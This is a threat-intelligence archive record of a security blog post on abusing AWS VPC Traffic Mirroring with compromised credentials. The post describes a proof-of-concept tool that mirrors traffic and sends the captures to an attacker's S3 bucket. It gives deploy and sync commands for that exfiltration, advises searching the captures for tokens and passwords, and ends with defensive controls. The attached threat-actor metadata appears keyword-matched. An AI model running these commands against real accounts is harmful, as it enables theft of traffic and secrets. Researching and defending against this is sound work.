{ "id": "7c1e6881-0754-4516-91dc-d45008d351b7", "created_at": "2026-04-06T00:07:24.518855Z", "updated_at": "2026-04-10T03:26:37.626889Z", "deleted_at": null, "sha1_hash": "8619238f9fc8a78fc07d0d74b255f446a5a03f52", "title": "Abusing VPC Traffic Mirroring in AWS", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 254297, "plain_text": "Abusing VPC Traffic Mirroring in AWS\r\nBy Spencer Gietzen\r\nPublished: 2019-09-17 · Archived: 2026-04-05 20:57:12 UTC\r\nThe Problem with Network Inspection in the Cloud\r\nThere are many reasons that a person might want to monitor the network traffic in a cloud environment–for both\r\noffensive and defensive purposes. Passive network inspection can be difficult in the cloud and would previously\r\nrequire major changes to a network’s configuration to ensure that every host is being monitored and that it is not\r\nbypassable by a malicious user. This means that as an attacker, it would be incredibly noisy to monitor an entire\r\nnetwork and also very risky in terms of breaking things.\r\nWith the difficulty of general network inspection in the cloud, pentesters have resorted to other, simpler means,\r\nsuch as reviewing Elastic Load Balancer access logs. Those logs give you something, but it is very limited when\r\ncompared to full network traffic inspection. \r\nHowever, AWS recently released a new feature for passive network inspection known as “VPC Traffic Mirroring”\r\nat re:Inforce this past June. Using this new feature, we created a script to deploy the necessary infrastructure to\r\nmirror and exfiltrate VPC traffic, dubbed “malmirror”.\r\nVPC Traffic Mirroring: A Potential Solution to Network Inspection in AWS\r\nVPC traffic mirroring duplicates inbound and outbound traffic for EC2 instances within a VPC without the need to\r\ninstall anything on the instances themselves. This duplicated traffic would commonly be sent to something like a\r\nnetwork intrusion detection system (IDS) for analysis and monitoring.\r\nWith the release of VPC Traffic Mirroring, network inspection of VPCs in AWS just became a lot easier for both\r\noffensive and defensive purposes. Now with just a few AWS API calls (and the necessary permissions to use those\r\nAPIs), it’s possible to monitor network traffic in an AWS VPC.\r\nImpact and Likelihood of Malicious VPC Traffic Mirroring\r\nMalicious VPC traffic mirroring can be extremely impactful because network traffic moving around within VPCs\r\noften contains sensitive information that proves useful for attackers. The likelihood of malicious VPC traffic\r\nmirroring is also very high because there are often large amounts of cleartext traffic flowing through a VPC. One\r\nreason for the common use of cleartext traffic is that before traffic mirroring, it was very unlikely that the traffic\r\nwould be sniffed, so it wasn’t very risky. \r\nAn example of this is a feature released in January of this year, TLS termination for Network Load Balancers. It is\r\na common practice for environments to terminate TLS at their load balancers and then pass the request to a\r\nbackend server in cleartext. This means that there will be a lot of cleartext traffic within the VPC up for grabs by\r\nhttps://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/\r\nPage 1 of 6\n\nour malicious VPC mirror. More information on TLS termination on load balancers can be found here and some\r\ndiscussion on best practices can be found here.\r\nMany companies will also use cleartext protocols within their internal networks because of the large impact that\r\nTLS has on performance. It previously felt safe to do these kinds of things, especially knowing that something like\r\ntraditional man-in-the-middle attacks/ARP spoofing are not possible.\r\nFor those reasons, it’s reasonably safe to assume that as an attacker, we will be getting at least some cleartext\r\ntraffic over the duration of our traffic mirroring attacker.\r\nDeploying a Malicious Mirror with Compromised AWS Credentials\r\nAs a company with a primary focus on offensive research, we wanted to automate this process to make it quick,\r\nsimple, and repeatable. So for that reason, we wrote a proof-of-concept script that will accept AWS credentials and\r\ndeploy the necessary infrastructure to get started with mirroring for all supported EC2 instances in a target VPC–\r\nmalmirror. It is important to note that VPC Traffic Mirroring is only supported by EC2 instance types that are\r\npowered by the AWS Nitro system and that the VPC mirror target must be within the same VPC as any hosts that\r\nare being mirrored.\r\nIn the next few sections, we’ll cover how malmirror works, what it does, and how to analyze the exfiltrated data.\r\nThe script itself can be found on our GitHub here.\r\nHow malmirror Works\r\nmalmirror deploys the following resources into an account:\r\nAn EC2 instance to mirror traffic to\r\nAn EC2 security group for that EC2 instance\r\nA VPC Mirror Target, pointing to the created EC2 instance\r\nA VPC Mirror Filter that is configured to mirror all traffic\r\nA VPC Mirror Session for each supported EC2 instance in the account\r\nhttps://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/\r\nPage 2 of 6\n\nA simple diagram demonstrating what traffic flow within a small VPC might look like after our mirroring\r\ninfrastructure is deployed into it (note that for simplicity, many resources were left out of this diagram).\r\nAfter everything is deployed, traffic will begin mirroring to the EC2 instance that was created. The EC2 instance\r\nwill begin listening for and logging all the mirrored network traffic that it receives in PCAP format. After about\r\n100MB of data stored locally on the instance, it will automatically exfiltrate that data into an S3 bucket of your\r\nchoice (likely in your own AWS account) and delete the local file from the system. This prevents the instance\r\nfrom running out of space and allows us to exfiltrate the mirrored traffic in an automated fashion. Note that the\r\n100MB limit is arbitrary and may be far too small for some networks where there is a greater amount of traffic\r\nflowing through it. The traffic is exfiltrated this way because there did not seem to be an easy way to mirror the\r\ntraffic cross-account and this seemed like a reliable way to ensure the data makes it out of the environment.\r\nAs the traffic is being exfiltrated to your S3 bucket, you can download it locally for analysis. A simple way to do\r\nthis would be with the S3 “Sync” command offered by the AWS CLI so that you only download the data that you\r\nare missing from the last time you synced with the bucket.\r\nPrerequisites to Using malmirror\r\nTo use malmirror, you will need the following:\r\nAn S3 bucket to exfiltrate the mirrored traffic to (likely in your own AWS account).\r\nAWS credentials stored in an AWS CLI profile (likely belonging to a user in your own AWS account).\r\nThis user should have write/s3:PutObject access to the S3 bucket the PCAP files will be exfiltrated to.\r\nAWS credentials stored in an AWS CLI profile (belonging to the account you are deploying the mirrors\r\ninto) with the following IAM permissions:\r\nec2:DescribeInstances\r\nTo identify EC2 instances to mirror\r\nec2:RunInstances\r\nTo create an EC2 instance that will be the VPC mirror target\r\nec2:CreateSecurityGroup\r\nTo create a security group for our EC2 instance\r\nec2:AuthorizeSecurityGroupIngress\r\nTo allow inbound access to our EC2 instance\r\nec2:CreateTrafficMirrorTarget\r\nTo specify our EC2 instance as a VPC mirror target\r\nec2:CreateTrafficMirrorSession\r\nTo create mirror sessions for each EC2 instance we want to mirror\r\nec2:CreateTrafficMirrorFilter\r\nTo create the traffic filter for our mirroring sessions\r\nec2:CreateTrafficMirrorFilterRule\r\nTo specify we want all traffic mirrored to our EC2 instance\r\nUsing malmirror\r\nhttps://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/\r\nPage 3 of 6\n\nThere are two scripts included with malmirror, deploy-malmirror.py and sniff.py. The deploy script uses the sniff\r\nscript when launching the mirroring resources, so you will never need to manually run sniff.py.\r\nTo get started mirroring traffic with malmirror, follow these steps:\r\n1. Clone it and change into its directory\r\ngit clone https://github.com/RhinoSecurityLabs/Cloud-Security-Research \u0026\u0026 cd Cloud-Security-Research/\r\n2. (Optional) malmirror is an early proof-of-concept, so you may want to make some modifications so it works\r\nbetter for your scenario, such as:\r\nModifying the EC2 instance type of the VPC mirror target\r\nModifying the file size limit at which files are exfiltrated to S3 and deleted locally\r\nChange the VPC mirror target to use a network load balancer instead\r\nRestricting/modifying the mirror target’s security group rules\r\nAdd to the hardcoded list of Nitro-based EC2 instance types\r\nFurther refine the VPC mirror filter rules\r\n3. Run malmirror, sit back, and wait\r\npython3 deploy-malmirror.py --profile CompromisedCreds --s3-profile S3Creds --region us-west-2 --buck\r\nA screenshot showing our malicious VPC mirror infrastructure being deployed into a target account. Note that the\r\nshorthand of the script’s arguments is used here.\r\n4. As files start to arrive in your S3 bucket, download them (to their own folder), but remember that the bucket\r\nwill keep filling up until the mirroring infrastructure is torn down from your target environment\r\naws s3 --profile profile-that-owns-the-bucket sync s3://bucket-for-exfil ./\r\nNow that you have some PCAP files locally, you can analyze and make use of them.\r\nOffline Traffic Analysis\r\nhttps://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/\r\nPage 4 of 6\n\nAfter syncing the PCAP files to your local system, you can start analyzing them. You’ll find that some of the\r\ntraffic will be encrypted and some of the traffic will be unencrypted. You likely won’t be able to do anything with\r\nthe encrypted data, but cleartext traffic has the potential for a lot of abusable findings. Some common things to\r\nlook for include API keys, authentication tokens/cookies, usernames/passwords, PII/PHI, files, and IP\r\naddresses/hostnames. There are countless other things you might want to look for, but that can give you a good\r\nstarting point.\r\nThere are a few tools that could help us here:\r\nWireshark/tshark\r\ndsniff\r\nngrep\r\nRegardless of the analyzer you choose, it might make sense to automate the process of syncing the PCAP files\r\nfrom S3 as they come in and to automate the process of analysis as the files get downloaded. This could be done\r\nwith a preset list of regexs or string matches to find secrets and for every new file that’s downloaded, pull out\r\nanything that matches those. Because it seems like people tend to prefer to do it in their own way, automatic\r\nanalysis was not built into this tool.\r\nRestrictions, Limitations, and Warnings\r\nWe’ve already touched on a few of these points throughout the blog, but there are some things to consider when\r\nperforming this kind of attack. Because this is a proof-of-concept script and it has not gone through a rigorous\r\ntesting process at this point, it is especially important to look at these restrictions and warnings.\r\nOnly Nitro-based EC2 instance types can have their traffic mirrored (find the list here)\r\nAnything within the VPC with the proper routes can send arbitrary traffic to our mirror target EC2 instance\r\nbecause it allows inbound traffic on UDP port 4789 from all internal network ranges (10.0.0.0/8,\r\n172.16.0.0/12, 192.168.0.0/16)\r\nBecause all (and only) internal IP ranges are whitelisted to our mirror target, we will not be able to mirror\r\ntraffic in networks that use non-standard IP ranges for the VPC’s internal network\r\nmalmirror may fail if there is already mirroring infrastructure deployed in the account for other reasons.\r\nThis could be avoided by adding some error handling and retry capabilities to it.\r\nDefending Against This Attack\r\nThe first step to preventing this attack is to be aware of and attempt to prevent breaches of your AWS\r\nenvironment. We previously released a blog post on some common ways that AWS keys get compromised, that\r\nyou can find here. \r\nIf you don’t use the VPC traffic mirroring feature in your accounts, then you should likely deny access to the\r\nnecessary permissions at the Organization level with a Service Control Policy (SCP) like the following:\r\n{\"Version\":\"2012-10-17\",\"Statement\":[{\"Sid\":\"DenyVPCTrafficMirroring\",\"Effect\":\"Deny\",\"Action\":[\"ec2\r\nhttps://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/\r\nPage 5 of 6\n\nThis SCP will prevent any account that it is applied to from using these APIs, even if the user/role attempting to\r\ndo so has the correct IAM permissions within that account.\r\nIf you do use VPC traffic mirroring in your environment, then you should use something like Amazon\r\nEventBridge to heavily monitor these API calls to ensure new mirror resources aren’t being created and existing\r\nmirror resources are not being modified or deleted. Regardless of whether you use mirroring or not, you could\r\nalso be monitoring for suspicious EC2 instance creation within your accounts.\r\nThere are definitely other ways to go about detecting and/or preventing these kinds of attacks, but many are\r\ncontext-specific and may be different depending on how your environment is setup. As a general rule of thumb, it\r\nis good practice to minimize the amount of cleartext traffic that flows within your VPC.\r\nConclusion\r\nVPC traffic mirroring makes it much easier for both attackers and defenders to monitor network traffic within\r\ntheir AWS VPCs, but common practices in the past have led to an abundance of cleartext traffic flowing within\r\nthose networks. There are many possibilities with this new feature that have yet to be explored in AWS, so it will\r\nbe exciting to see what comes of this.\r\nIf you haven’t already looked, you can find malmirror on our GitHub here.\r\nIf you’re concerned about the security of your AWS infrastructure, consider requesting a quote for an AWS\r\npenetration test to identify weaknesses and vulnerabilities in your environment.\r\nSource: https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/\r\nhttps://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/\r\nPage 6 of 6", "extraction_quality": 1, "language": "EN", "sources": [ "MITRE" ], "references": [ "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/" ], "report_names": [ "abusing-vpc-traffic-mirroring-in-aws" ], "threat_actors": [ { "id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d", "created_at": "2022-10-25T16:07:24.139848Z", "updated_at": "2026-04-10T02:00:04.878798Z", "deleted_at": null, "main_name": "Safe", "aliases": [], "source_name": "ETDA:Safe", "tools": [ "DebugView", "LZ77", "OpenDoc", "SafeDisk", "TypeConfig", "UPXShell", "UsbDoc", "UsbExe" ], "source_id": "ETDA", "reports": null }, { "id": "9041c438-4bc0-4863-b89c-a32bba33903c", "created_at": "2023-01-06T13:46:38.232751Z", "updated_at": "2026-04-10T02:00:02.888195Z", "deleted_at": null, "main_name": "Nitro", "aliases": [ "Covert Grove" ], "source_name": "MISPGALAXY:Nitro", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "a2b44a04-a080-4465-973d-976ce53777de", "created_at": "2022-10-25T16:07:23.911791Z", "updated_at": "2026-04-10T02:00:04.786538Z", "deleted_at": null, "main_name": "Nitro", "aliases": [ "Covert Grove", "Nitro" ], "source_name": "ETDA:Nitro", "tools": [ "AngryRebel", "Backdoor.Apocalipto", "Chymine", "Darkmoon", "Farfli", "Gen:Trojan.Heur.PT", "Gh0st RAT", "Ghost RAT", "Moudour", "Mydoor", "PCClient", "PCRat", "Poison Ivy", "SPIVY", "Spindest", "pivy", "poisonivy" ], "source_id": "ETDA", "reports": null } ], "ts_created_at": 1775434044, "ts_updated_at": 1775791597, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/8619238f9fc8a78fc07d0d74b255f446a5a03f52.pdf", "text": "https://archive.orkl.eu/8619238f9fc8a78fc07d0d74b255f446a5a03f52.txt", "img": "https://archive.orkl.eu/8619238f9fc8a78fc07d0d74b255f446a5a03f52.jpg" } }